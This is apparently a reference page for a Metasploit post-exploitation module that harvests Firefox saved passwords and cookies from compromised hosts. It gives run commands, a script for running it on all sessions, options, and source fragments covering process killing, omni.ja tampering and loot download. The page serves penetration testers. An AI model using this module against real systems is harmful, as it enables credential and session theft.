Multi Gather Firefox Signon Credential Collection - Metasploit


This page contains detailed information about how to use the post/multi/gather/firefox_creds metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Module Overview


Name: Multi Gather Firefox Signon Credential Collection
Module: post/multi/gather/firefox_creds
Source code: modules/post/multi/gather/firefox_creds.rb
Disclosure date: -
Last modification time: 2021-10-06 13:43:31 +0000
Supported architecture(s): -
Supported platform(s): BSD, Linux, OSX, Unix, Windows
Target service / protocol: -
Target network port(s): -
List of CVEs: -

This module will collect credentials from the Firefox web browser if it is installed on the targeted machine. Additionally, cookies are downloaded. Which could potentially yield valid web sessions. Firefox stores passwords within the signons.sqlite database file. There is also a keys3.db file which contains the key for decrypting these passwords. In cases where a Master Password has not been set, the passwords can easily be decrypted using 3rd party tools or by setting the DECRYPT option to true. Using the latter often needs root privileges. Also be warned that if your session dies in the middle of the file renaming process, this could leave Firefox in a non working state. If a Master Password was used the only option would be to bruteforce. Useful 3rd party tools: + firefox_decrypt (https://github.com/Unode/firefox_decrypt) + pswRecovery4Moz (https://github.com/philsmd/pswRecovery4Moz)

Module Ranking and Traits


Module Ranking:

  • normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.

Basic Usage


There are two ways to execute this post module.

From the Meterpreter prompt

The first is by using the "run" command at the Meterpreter prompt. It allows you to run the post module against that specific session:

meterpreter > run post/multi/gather/firefox_creds

From the msf prompt

The second is by using the "use" command at the msf prompt. You will have to figure out which session ID to set manually. To list all session IDs, you can use the "sessions" command.

msf > use post/multi/gather/firefox_creds
msf post(firefox_creds) > show options
    ... show and set options ...
msf post(firefox_creds) > set SESSION session-id
msf post(firefox_creds) > exploit

If you wish to run the post against all sessions from framework, here is how:

1 - Create the following resource script:


framework.sessions.each_pair do |sid, session|
  run_single("use post/multi/gather/firefox_creds")
  run_single("set SESSION #{sid}")
  run_single("run")
end

2 - At the msf prompt, execute the above resource script:

msf > resource path-to-resource-script

Required Options


  • SESSION: The session to run this module on.

Go back to menu.

Msfconsole Usage


Here is how the multi/gather/firefox_creds post exploitation module looks in the msfconsole:

msf6 > use post/multi/gather/firefox_creds

msf6 post(multi/gather/firefox_creds) > show info

       Name: Multi Gather Firefox Signon Credential Collection
     Module: post/multi/gather/firefox_creds
   Platform: BSD, Linux, OSX, Unix, Windows
       Arch: 
       Rank: Normal

Provided by:
  bannedit <[email protected]>
  xard4s
  g0tmi1k

Compatible session types:
  Meterpreter
  Shell

Basic options:
  Name     Current Setting  Required  Description
  ----     ---------------  --------  -----------
  DECRYPT  false            no        Decrypts passwords without third party tools
  SESSION                   yes       The session to run this module on.

Description:
  This module will collect credentials from the Firefox web browser if 
  it is installed on the targeted machine. Additionally, cookies are 
  downloaded. Which could potentially yield valid web sessions. 
  Firefox stores passwords within the signons.sqlite database file. 
  There is also a keys3.db file which contains the key for decrypting 
  these passwords. In cases where a Master Password has not been set, 
  the passwords can easily be decrypted using 3rd party tools or by 
  setting the DECRYPT option to true. Using the latter often needs 
  root privileges. Also be warned that if your session dies in the 
  middle of the file renaming process, this could leave Firefox in a 
  non working state. If a Master Password was used the only option 
  would be to bruteforce. Useful 3rd party tools: + firefox_decrypt 
  (https://github.com/Unode/firefox_decrypt) + pswRecovery4Moz 
  (https://github.com/philsmd/pswRecovery4Moz)

Module Options


This is a complete list of options available in the multi/gather/firefox_creds post exploitation module:

msf6 post(multi/gather/firefox_creds) > show options

Module options (post/multi/gather/firefox_creds):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   DECRYPT  false            no        Decrypts passwords without third party tools
   SESSION                   yes       The session to run this module on.

Advanced Options


Here is a complete list of advanced options supported by the multi/gather/firefox_creds post exploitation module:

msf6 post(multi/gather/firefox_creds) > show advanced

Module advanced options (post/multi/gather/firefox_creds):

   Name              Current Setting  Required  Description
   ----              ---------------  --------  -----------
   DISCLAIMER        false            no        Acknowledge the DECRYPT warning
   DOWNLOAD_TIMEOUT  20               yes       Timeout to wait when downloading files through shell sessions
   RECOVER           false            no        Attempt to recover from bad DECRYPT when possible
   VERBOSE           false            no        Enable detailed status messages
   WORKSPACE                          no        Specify the workspace for this module

Post Actions


This is a list of all post exploitation actions which the multi/gather/firefox_creds module can do:

msf6 post(multi/gather/firefox_creds) > show actions

Post actions:

   Name  Description
   ----  -----------

Evasion Options


Here is the full list of possible evasion options supported by the multi/gather/firefox_creds post exploitation module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 post(multi/gather/firefox_creds) > show evasion

Module evasion options:

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------

Go back to menu.

Error Messages


This module may fail with the following error messages:

Error Messages

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

Only meterpreter sessions are supported on Windows hosts


Here is a relevant code snippet related to the "Only meterpreter sessions are supported on Windows hosts" error message:

74:	      @platform = :unix
75:	    when 'osx'
76:	      @platform = :osx
77:	    when 'windows'
78:	      if session.type != "meterpreter"
79:	        print_error "Only meterpreter sessions are supported on Windows hosts"
80:	        return
81:	      end
82:	      @platform = :windows
83:	    else
84:	      print_error("Unsupported platform: #{session.platform}")

Unsupported platform: <SESSION.PLATFORM>


Here is a relevant code snippet related to the "Unsupported platform: <SESSION.PLATFORM>" error message:

79:	        print_error "Only meterpreter sessions are supported on Windows hosts"
80:	        return
81:	      end
82:	      @platform = :windows
83:	    else
84:	      print_error("Unsupported platform: #{session.platform}")
85:	      return
86:	    end
87:	
88:	    if datastore['DECRYPT']
89:	      do_decrypt

No users found with a Firefox directory


Here is a relevant code snippet related to the "No users found with a Firefox directory" error message:

90:	    else # Non DECRYPT
91:	      paths = []
92:	      paths = enum_users
93:	
94:	      if paths.nil? or paths.empty?
95:	        print_error("No users found with a Firefox directory")
96:	        return
97:	      end
98:	
99:	      download_loot(paths.flatten)
100:	    end

Detected <TEMP_FILE> without <ORG_FILE>. This is a good sign of previous DECRYPT attack gone wrong.


Here is a relevant code snippet related to the "Detected <TEMP_FILE> without <ORG_FILE>. This is a good sign of previous DECRYPT attack gone wrong." error message:

115:	    return unless decrypt_get_env
116:	
117:	    # Check target for the necessary files
118:	    if session.type == "meterpreter"
119:	      if session.fs.file.exist?(@paths['ff'] + temp_file) && !session.fs.file.exist?(@paths['ff'] + org_file)
120:	        print_error("Detected #{temp_file} without #{org_file}. This is a good sign of previous DECRYPT attack gone wrong.")
121:	        return
122:	      elsif session.fs.file.exist?(@paths['ff'] + temp_file)
123:	        decrypt_file_stats(temp_file, org_file, @paths['ff'])
124:	        if datastore['RECOVER']
125:	          return unless decrypt_recover_omni(temp_file, org_file)

If you wish to continue by trying to recover, set the advanced option, RECOVER, to TRUE.


Here is a relevant code snippet related to the "If you wish to continue by trying to recover, set the advanced option, RECOVER, to TRUE." error message:

122:	      elsif session.fs.file.exist?(@paths['ff'] + temp_file)
123:	        decrypt_file_stats(temp_file, org_file, @paths['ff'])
124:	        if datastore['RECOVER']
125:	          return unless decrypt_recover_omni(temp_file, org_file)
126:	        else
127:	          print_warning("If you wish to continue by trying to recover, set the advanced option, RECOVER, to TRUE.")
128:	          return
129:	        end
130:	      elsif !session.fs.file.exist?(@paths['ff'] + org_file)
131:	        print_error("Could not download #{org_file}. File does not exist.")
132:	        return

Could not download <ORG_FILE>. File does not exist.


Here is a relevant code snippet related to the "Could not download <ORG_FILE>. File does not exist." error message:

126:	        else
127:	          print_warning("If you wish to continue by trying to recover, set the advanced option, RECOVER, to TRUE.")
128:	          return
129:	        end
130:	      elsif !session.fs.file.exist?(@paths['ff'] + org_file)
131:	        print_error("Could not download #{org_file}. File does not exist.")
132:	        return
133:	      end
134:	    end # session.type == "meterpreter"
135:	
136:	    session.type == "meterpreter" ? (size = "(%s MB)" % "%0.2f" % (session.fs.file.stat(@paths['ff'] + org_file).size / 1048576.0)) : (size = "")

Could not download: <VALUE>


Here is a relevant code snippet related to the "Could not download: <VALUE>" error message:

140:	    if session.type == "meterpreter"            # If meterpreter is an option, lets use it!
141:	      session.fs.file.download_file(tmp, @paths['ff'] + org_file)
142:	    else                                        # Fall back shells
143:	      omnija = read_file(@paths['ff'] + org_file)
144:	      if omnija.nil? or omnija.empty? or omnija =~ /No such file/i
145:	        print_error("Could not download: #{@paths['ff'] + org_file}")
146:	        print_error("Tip: Try switching to a meterpreter shell if possible (as it's more reliable/stable when downloading)") if session.type != "meterpreter"
147:	        return
148:	      end
149:	
150:	      print_status("Saving #{org_file} to: #{tmp}")

Tip: Try switching to a meterpreter shell if possible (as it's more reliable/stable when downloading)


Here is a relevant code snippet related to the "Tip: Try switching to a meterpreter shell if possible (as it's more reliable/stable when downloading)" error message:

141:	      session.fs.file.download_file(tmp, @paths['ff'] + org_file)
142:	    else                                        # Fall back shells
143:	      omnija = read_file(@paths['ff'] + org_file)
144:	      if omnija.nil? or omnija.empty? or omnija =~ /No such file/i
145:	        print_error("Could not download: #{@paths['ff'] + org_file}")
146:	        print_error("Tip: Try switching to a meterpreter shell if possible (as it's more reliable/stable when downloading)") if session.type != "meterpreter"
147:	        return
148:	      end
149:	
150:	      print_status("Saving #{org_file} to: #{tmp}")
151:	      file_local_write(tmp, omnija)

Error modifying: <TMP>


Here is a relevant code snippet related to the "Error modifying: <TMP>" error message:

157:	      # Automatically commits the changes made to the zip archive when the block terminates
158:	      Zip::File.open(tmp) do |zip_file|
159:	        res = decrypt_modify_omnija(zip_file)
160:	      end
161:	    rescue Zip::Error => e
162:	      print_error("Error modifying: #{tmp}")
163:	      return
164:	    end
165:	
166:	    if res
167:	      vprint_good("Successfully modified: #{tmp}")

Failed to inject


Here is a relevant code snippet related to the "Failed to inject" error message:

164:	    end
165:	
166:	    if res
167:	      vprint_good("Successfully modified: #{tmp}")
168:	    else
169:	      print_error("Failed to inject")
170:	      return
171:	    end
172:	
173:	    print_status("Uploading #{tmp} to: #{@paths['ff'] + new_file}")
174:	    print_warning("This may take some time...") if [:unix, :osx].include?(@platform)

This may take some time...


Here is a relevant code snippet related to the "This may take some time..." error message:

169:	      print_error("Failed to inject")
170:	      return
171:	    end
172:	
173:	    print_status("Uploading #{tmp} to: #{@paths['ff'] + new_file}")
174:	    print_warning("This may take some time...") if [:unix, :osx].include?(@platform)
175:	
176:	    if session.type == "meterpreter"
177:	      session.fs.file.upload_file(@paths['ff'] + new_file, tmp)
178:	    else
179:	      unless upload_file(@paths['ff'] + new_file, tmp)

Could not upload: <TMP>


Here is a relevant code snippet related to the "Could not upload: <TMP>" error message:

175:	
176:	    if session.type == "meterpreter"
177:	      session.fs.file.upload_file(@paths['ff'] + new_file, tmp)
178:	    else
179:	      unless upload_file(@paths['ff'] + new_file, tmp)
180:	        print_error("Could not upload: #{tmp}")
181:	        return
182:	      end
183:	    end
184:	
185:	    return unless decrypt_trigger_decrypt(org_file, new_file, temp_file)

Decrypting the keys causes the remote Firefox process to be killed.


Here is a relevant code snippet related to the "Decrypting the keys causes the remote Firefox process to be killed." error message:

187:	    decrypt_download_creds
188:	  end
189:	
190:	  def decrypt_disclaimer
191:	    print_line
192:	    print_warning("Decrypting the keys causes the remote Firefox process to be killed.")
193:	    print_warning("If the user is paying attention, this could make them suspicious.")
194:	    print_warning("In order to proceed, set the advanced option, DISCLAIMER, to TRUE.")
195:	    print_line
196:	  end
197:	

If the user is paying attention, this could make them suspicious.


Here is a relevant code snippet related to the "If the user is paying attention, this could make them suspicious." error message:

188:	  end
189:	
190:	  def decrypt_disclaimer
191:	    print_line
192:	    print_warning("Decrypting the keys causes the remote Firefox process to be killed.")
193:	    print_warning("If the user is paying attention, this could make them suspicious.")
194:	    print_warning("In order to proceed, set the advanced option, DISCLAIMER, to TRUE.")
195:	    print_line
196:	  end
197:	
198:	  def decrypt_file_stats(temp_file, org_file, path)

In order to proceed, set the advanced option, DISCLAIMER, to TRUE.


Here is a relevant code snippet related to the "In order to proceed, set the advanced option, DISCLAIMER, to TRUE." error message:

189:	
190:	  def decrypt_disclaimer
191:	    print_line
192:	    print_warning("Decrypting the keys causes the remote Firefox process to be killed.")
193:	    print_warning("If the user is paying attention, this could make them suspicious.")
194:	    print_warning("In order to proceed, set the advanced option, DISCLAIMER, to TRUE.")
195:	    print_line
196:	  end
197:	
198:	  def decrypt_file_stats(temp_file, org_file, path)
199:	    print_line

Detected <TEMP_FILE> already on the target. This could possible a possible backup of the original <ORG_FILE> from a bad DECRYPT attack.


Here is a relevant code snippet related to the "Detected <TEMP_FILE> already on the target. This could possible a possible backup of the original <ORG_FILE> from a bad DECRYPT attack." error message:

195:	    print_line
196:	  end
197:	
198:	  def decrypt_file_stats(temp_file, org_file, path)
199:	    print_line
200:	    print_error("Detected #{temp_file} already on the target. This could possible a possible backup of the original #{org_file} from a bad DECRYPT attack.")
201:	    print_status("Size: #{session.fs.file.stat(@paths['ff'] + org_file).size}B (#{org_file})")
202:	    print_status("Size: #{session.fs.file.stat(@paths['ff'] + temp_file).size}B (#{temp_file})")
203:	    print_status("#{org_file}   : Created- #{session.fs.file.stat(@paths['ff'] + org_file).ctime}  Modified- #{session.fs.file.stat(@paths['ff'] + org_file).mtime}  Accessed- #{session.fs.file.stat(@paths['ff'] + org_file).mtime}")
204:	    print_status("#{temp_file}: Created- #{session.fs.file.stat(@paths['ff'] + temp_file).ctime}  Modified- #{session.fs.file.stat(@paths['ff'] + temp_file).mtime}  Accessed- #{session.fs.file.stat(@paths['ff'] + temp_file).ctime}")
205:	    print_line

There is still <TEMP_FILE> on the target. Something went wrong.


Here is a relevant code snippet related to the "There is still <TEMP_FILE> on the target. Something went wrong." error message:

209:	    print_status("Restoring: #{@paths['ff'] + temp_file} (Possible backup)")
210:	    file_rm(@paths['ff'] + org_file)
211:	    rename_file(@paths['ff'] + temp_file, @paths['ff'] + org_file)
212:	
213:	    if session.type == "meterpreter"
214:	      print_error("There is still #{temp_file} on the target. Something went wrong.") if session.fs.file.exist?(@paths['ff'] + temp_file)
215:	
216:	      unless session.fs.file.exist?(@paths['ff'] + org_file)
217:	        print_error("#{org_file} is no longer at #{@paths['ff'] + org_file}")
218:	        return false
219:	      end

<ORG_FILE> is no longer at <VALUE>


Here is a relevant code snippet related to the "<ORG_FILE> is no longer at <VALUE>" error message:

212:	
213:	    if session.type == "meterpreter"
214:	      print_error("There is still #{temp_file} on the target. Something went wrong.") if session.fs.file.exist?(@paths['ff'] + temp_file)
215:	
216:	      unless session.fs.file.exist?(@paths['ff'] + org_file)
217:	        print_error("#{org_file} is no longer at #{@paths['ff'] + org_file}")
218:	        return false
219:	      end
220:	    end # session.type == "meterpreter"
221:	
222:	    true

Session <SESSION> is not responding


Here is a relevant code snippet related to the "Session <SESSION> is not responding" error message:

225:	  def enum_users
226:	    paths = []
227:	    id = whoami
228:	
229:	    if id.nil? or id.empty?
230:	      print_error("Session #{datastore['SESSION']} is not responding")
231:	      return
232:	    end
233:	
234:	    if @platform == :windows
235:	      vprint_status("Searching every possible account on the target system")

Firefox was not found (Missing profiles.ini)


Here is a relevant code snippet related to the "Firefox was not found (Missing profiles.ini)" error message:

278:	    path = path + "\\Mozilla\\"
279:	    print_status("Checking for Firefox profile in: #{path}")
280:	
281:	    stat = session.fs.file.stat(path + "Firefox\\profiles.ini") rescue nil
282:	    if !stat
283:	      print_error("Firefox was not found (Missing profiles.ini)")
284:	      return
285:	    end
286:	
287:	    session.fs.dir.foreach(path) do |fdir|
288:	      # print_status("Found a Firefox directory: #{path + fdir}")

Firefox was not found


Here is a relevant code snippet related to the "Firefox was not found" error message:

289:	      ffpath << path + fdir
290:	      break
291:	    end
292:	
293:	    if ffpath.empty?
294:	      print_error("Firefox was not found")
295:	      return
296:	    end
297:	
298:	    # print_status("Locating Firefox profiles")
299:	    path << "Firefox\\Profiles\\"

Profiles directory is missing


Here is a relevant code snippet related to the "Profiles directory is missing" error message:

305:	
306:	        vprint_good("Found profile: #{path + pdirs}")
307:	        paths << path + pdirs
308:	      end
309:	    rescue
310:	      print_error("Profiles directory is missing")
311:	      return
312:	    end
313:	
314:	    paths.empty? ? (nil) : (paths)
315:	  end

Failed to download <FILE>, if the file is very long, try increasing DOWNLOAD_TIMEOUT


Here is a relevant code snippet related to the "Failed to download <FILE>, if the file is very long, try increasing DOWNLOAD_TIMEOUT" error message:

340:	            session.fs.file.download_file(p, path + "\\" + file)
341:	            print_good("Downloaded #{file}: #{p.to_s}")
342:	          else # windows has to be meterpreter, so can be anything else (unix, bsd, linux, osx)
343:	            loot = cmd_exec("cat #{path}//#{file}", nil, datastore['DOWNLOAD_TIMEOUT'])
344:	            if loot.nil? || loot.empty?
345:	              print_error("Failed to download #{file}, if the file is very long, try increasing DOWNLOAD_TIMEOUT")
346:	            else
347:	              p = store_loot("ff.#{profile}.#{file}", "#{mime}/#{ext}", session, loot, "firefox_#{file}", "#{file} for #{profile}")
348:	              print_good("Downloaded #{file}: #{p.to_s}")
349:	            end
350:	          end

You may need SYSTEM privileges on this platform for the DECRYPT option to work


Here is a relevant code snippet related to the "You may need SYSTEM privileges on this platform for the DECRYPT option to work" error message:

361:	    loot_file = Rex::Text::rand_text_alpha(6) + ".txt"
362:	
363:	    case @platform
364:	    when :windows
365:	      unless got_root || session.sys.config.sysinfo['OS'] =~ /xp/i
366:	        print_warning("You may need SYSTEM privileges on this platform for the DECRYPT option to work")
367:	      end
368:	
369:	      env_vars = session.sys.config.getenvs('TEMP', 'SystemDrive')
370:	      tmpdir = env_vars['TEMP'] + "\\"
371:	      drive = env_vars['SystemDrive']

You need ROOT privileges on this platform for DECRYPT option


Here is a relevant code snippet related to the "You need ROOT privileges on this platform for DECRYPT option" error message:

373:	      # This way allows for more independent use of meterpreter payload (32 and 64 bit) and cleaner code
374:	      check_paths << drive + '\\Program Files\\Mozilla Firefox\\'
375:	      check_paths << drive + '\\Program Files (x86)\\Mozilla Firefox\\'
376:	    when :unix
377:	      unless got_root
378:	        print_error("You need ROOT privileges on this platform for DECRYPT option")
379:	        return false
380:	      end
381:	      # Unix matches linux|unix|bsd but BSD is not supported
382:	      if session.platform =~ /bsd/
383:	        print_error("Sorry, BSD is not supported by the DECRYPT option")

Sorry, BSD is not supported by the DECRYPT option


Here is a relevant code snippet related to the "Sorry, BSD is not supported by the DECRYPT option" error message:

378:	        print_error("You need ROOT privileges on this platform for DECRYPT option")
379:	        return false
380:	      end
381:	      # Unix matches linux|unix|bsd but BSD is not supported
382:	      if session.platform =~ /bsd/
383:	        print_error("Sorry, BSD is not supported by the DECRYPT option")
384:	        return false
385:	      end
386:	
387:	      tmpdir = '/tmp/'
388:	

No Firefox directory found


Here is a relevant code snippet related to the "No Firefox directory found" error message:

405:	        false
406:	      end
407:	    end
408:	
409:	    if @paths['ff'].nil?
410:	      print_error("No Firefox directory found")
411:	      return false
412:	    end
413:	
414:	    @paths['loot'] = tmpdir + loot_file
415:	

Was not able to find '<OMNIJA_FILE>' in the compressed .JA file


Here is a relevant code snippet related to the "Was not able to find '<OMNIJA_FILE>' in the compressed .JA file" error message:

430:	      fdata = {}
431:	      begin
432:	        fdata['content'] = zip.read(omnija_file) unless omnija_file =~ /jsloader/
433:	        fdata['outs'] = zip.get_output_stream(omnija_file)
434:	      rescue
435:	        print_error("Was not able to find '#{omnija_file}' in the compressed .JA file")
436:	        print_error("This could be due to a corrupt download or a unsupported Firefox/Iceweasel version")
437:	        return false
438:	      end
439:	      fdata
440:	    end

This could be due to a corrupt download or a unsupported Firefox/Iceweasel version


Here is a relevant code snippet related to the "This could be due to a corrupt download or a unsupported Firefox/Iceweasel version" error message:

431:	      begin
432:	        fdata['content'] = zip.read(omnija_file) unless omnija_file =~ /jsloader/
433:	        fdata['outs'] = zip.get_output_stream(omnija_file)
434:	      rescue
435:	        print_error("Was not able to find '#{omnija_file}' in the compressed .JA file")
436:	        print_error("This could be due to a corrupt download or a unsupported Firefox/Iceweasel version")
437:	        return false
438:	      end
439:	      fdata
440:	    end
441:	

No normal user found


Here is a relevant code snippet related to the "No normal user found" error message:

542:	    when :unix
543:	      # Assuming userdir /home/(x) = user
544:	      print_status("Enumerating users")
545:	      homedirs = cmd_exec("find /home -maxdepth 1 -mindepth 1 -type d 2>/dev/null").gsub(/.*\//, "")
546:	      if homedirs.nil? or homedirs.empty?
547:	        print_error("No normal user found")
548:	        return false
549:	      end
550:	      user = nil
551:	      # Skip home directories which contain a space, as those are likely not usernames...
552:	      homedirs.each_line do |homedir|

Could not kill Firefox process


Here is a relevant code snippet related to the "Could not kill Firefox process" error message:

568:	    if session.type == "meterpreter"
569:	      session.sys.process.each_process do |p|
570:	        if p['name'] =~ /firefox\.exe/
571:	          print_status("Found running Firefox process, attempting to kill.")
572:	          unless session.sys.process.kill(p['pid'])
573:	            print_error("Could not kill Firefox process")
574:	            return false
575:	          end
576:	        end
577:	      end
578:	    else # windows has to be meterpreter, so can be anything else (unix, bsd, linux, osx)

Could not kill Firefox process


Here is a relevant code snippet related to the "Could not kill Firefox process" error message:

579:	      p = cmd_exec("ps", "cax | grep firefox")
580:	      if p =~ /firefox/
581:	        print_status("Found running Firefox process, attempting to kill.")
582:	        term = cmd_exec("killall", "firefox && echo true")
583:	        if term !~ /true/
584:	          print_error("Could not kill Firefox process")
585:	          return false
586:	        end
587:	      end
588:	    end
589:	    sleep(1)

Missing loot file. Something went wrong.


Here is a relevant code snippet related to the "Missing loot file. Something went wrong." error message:

612:	      while (!session.fs.file.exist?(@paths['loot']))
613:	        sleep 1
614:	        i -= 1
615:	        break if i == 0
616:	      end
617:	      print_error("Missing loot file. Something went wrong.") unless session.fs.file.exist?(@paths['loot'])
618:	    end # session.type == "meterpreter"
619:	
620:	    print_status("Restoring original .JA: #{temp_file}")
621:	    rename_file(org_file, new_file)
622:	    rename_file(temp_file, org_file)

Detected backup file (<TEMP_FILE>) still on the target. Something went wrong.


Here is a relevant code snippet related to the "Detected backup file (<TEMP_FILE>) still on the target. Something went wrong." error message:

624:	    # Clean up
625:	    vprint_status("Cleaning up: #{new_file}")
626:	    file_rm(new_file)
627:	    if session.type == "meterpreter"
628:	      if session.fs.file.exist?(temp_file)
629:	        print_error("Detected backup file (#{temp_file}) still on the target. Something went wrong.")
630:	      end
631:	      unless session.fs.file.exist?(org_file)
632:	        print_error("Unable to find #{org_file} on target. Something went wrong.")
633:	      end
634:	    end # session.type == "meterpreter"

Unable to find <ORG_FILE> on target. Something went wrong.


Here is a relevant code snippet related to the "Unable to find <ORG_FILE> on target. Something went wrong." error message:

627:	    if session.type == "meterpreter"
628:	      if session.fs.file.exist?(temp_file)
629:	        print_error("Detected backup file (#{temp_file}) still on the target. Something went wrong.")
630:	      end
631:	      unless session.fs.file.exist?(org_file)
632:	        print_error("Unable to find #{org_file} on target. Something went wrong.")
633:	      end
634:	    end # session.type == "meterpreter"
635:	
636:	    # At this time, there should have a loot file
637:	    if session.type == "meterpreter"

DECRYPT failed. Either something went wrong (download/upload? Injecting?), there is a master password or an unsupported Firefox version.


Here is a relevant code snippet related to the "DECRYPT failed. Either something went wrong (download/upload? Injecting?), there is a master password or an unsupported Firefox version." error message:

634:	    end # session.type == "meterpreter"
635:	
636:	    # At this time, there should have a loot file
637:	    if session.type == "meterpreter"
638:	      unless session.fs.file.exist?(@paths['loot'])
639:	        print_error("DECRYPT failed. Either something went wrong (download/upload? Injecting?), there is a master password or an unsupported Firefox version.")
640:	        # Another issue is encoding. The files may be seen as 'data' rather than 'ascii'
641:	        print_error("Tip: Try swtiching to a meterpreter shell if possible (as its more reliable/stable when downloading/uploading)") if session.type != "meterpreter"
642:	        return false
643:	      end
644:	    end

Tip: Try swtiching to a meterpreter shell if possible (as its more reliable/stable when downloading/uploading)


Here is a relevant code snippet related to the "Tip: Try swtiching to a meterpreter shell if possible (as its more reliable/stable when downloading/uploading)" error message:

636:	    # At this time, there should have a loot file
637:	    if session.type == "meterpreter"
638:	      unless session.fs.file.exist?(@paths['loot'])
639:	        print_error("DECRYPT failed. Either something went wrong (download/upload? Injecting?), there is a master password or an unsupported Firefox version.")
640:	        # Another issue is encoding. The files may be seen as 'data' rather than 'ascii'
641:	        print_error("Tip: Try swtiching to a meterpreter shell if possible (as its more reliable/stable when downloading/uploading)") if session.type != "meterpreter"
642:	        return false
643:	      end
644:	    end
645:	
646:	    true

No Firefox credentials where found


Here is a relevant code snippet related to the "No Firefox credentials where found" error message:

649:	  def decrypt_download_creds
650:	    print_good("Downloading loot: #{@paths['loot']}")
651:	    loot = read_file(@paths['loot'])
652:	
653:	    if loot =~ /no creds/
654:	      print_status("No Firefox credentials where found")
655:	      return
656:	    end
657:	
658:	    # Better delete the remote creds file
659:	    vprint_status("Cleaning up: #{@paths['loot']}")

Go back to menu.


Go back to menu.

See Also


Check also the following modules related to this module:

Authors


  • bannedit
  • xard4s
  • g0tmi1k

Version


This page has been produced using Metasploit Framework version 6.1.24-dev. For more modules, visit the Metasploit Module Library.

Go back to menu.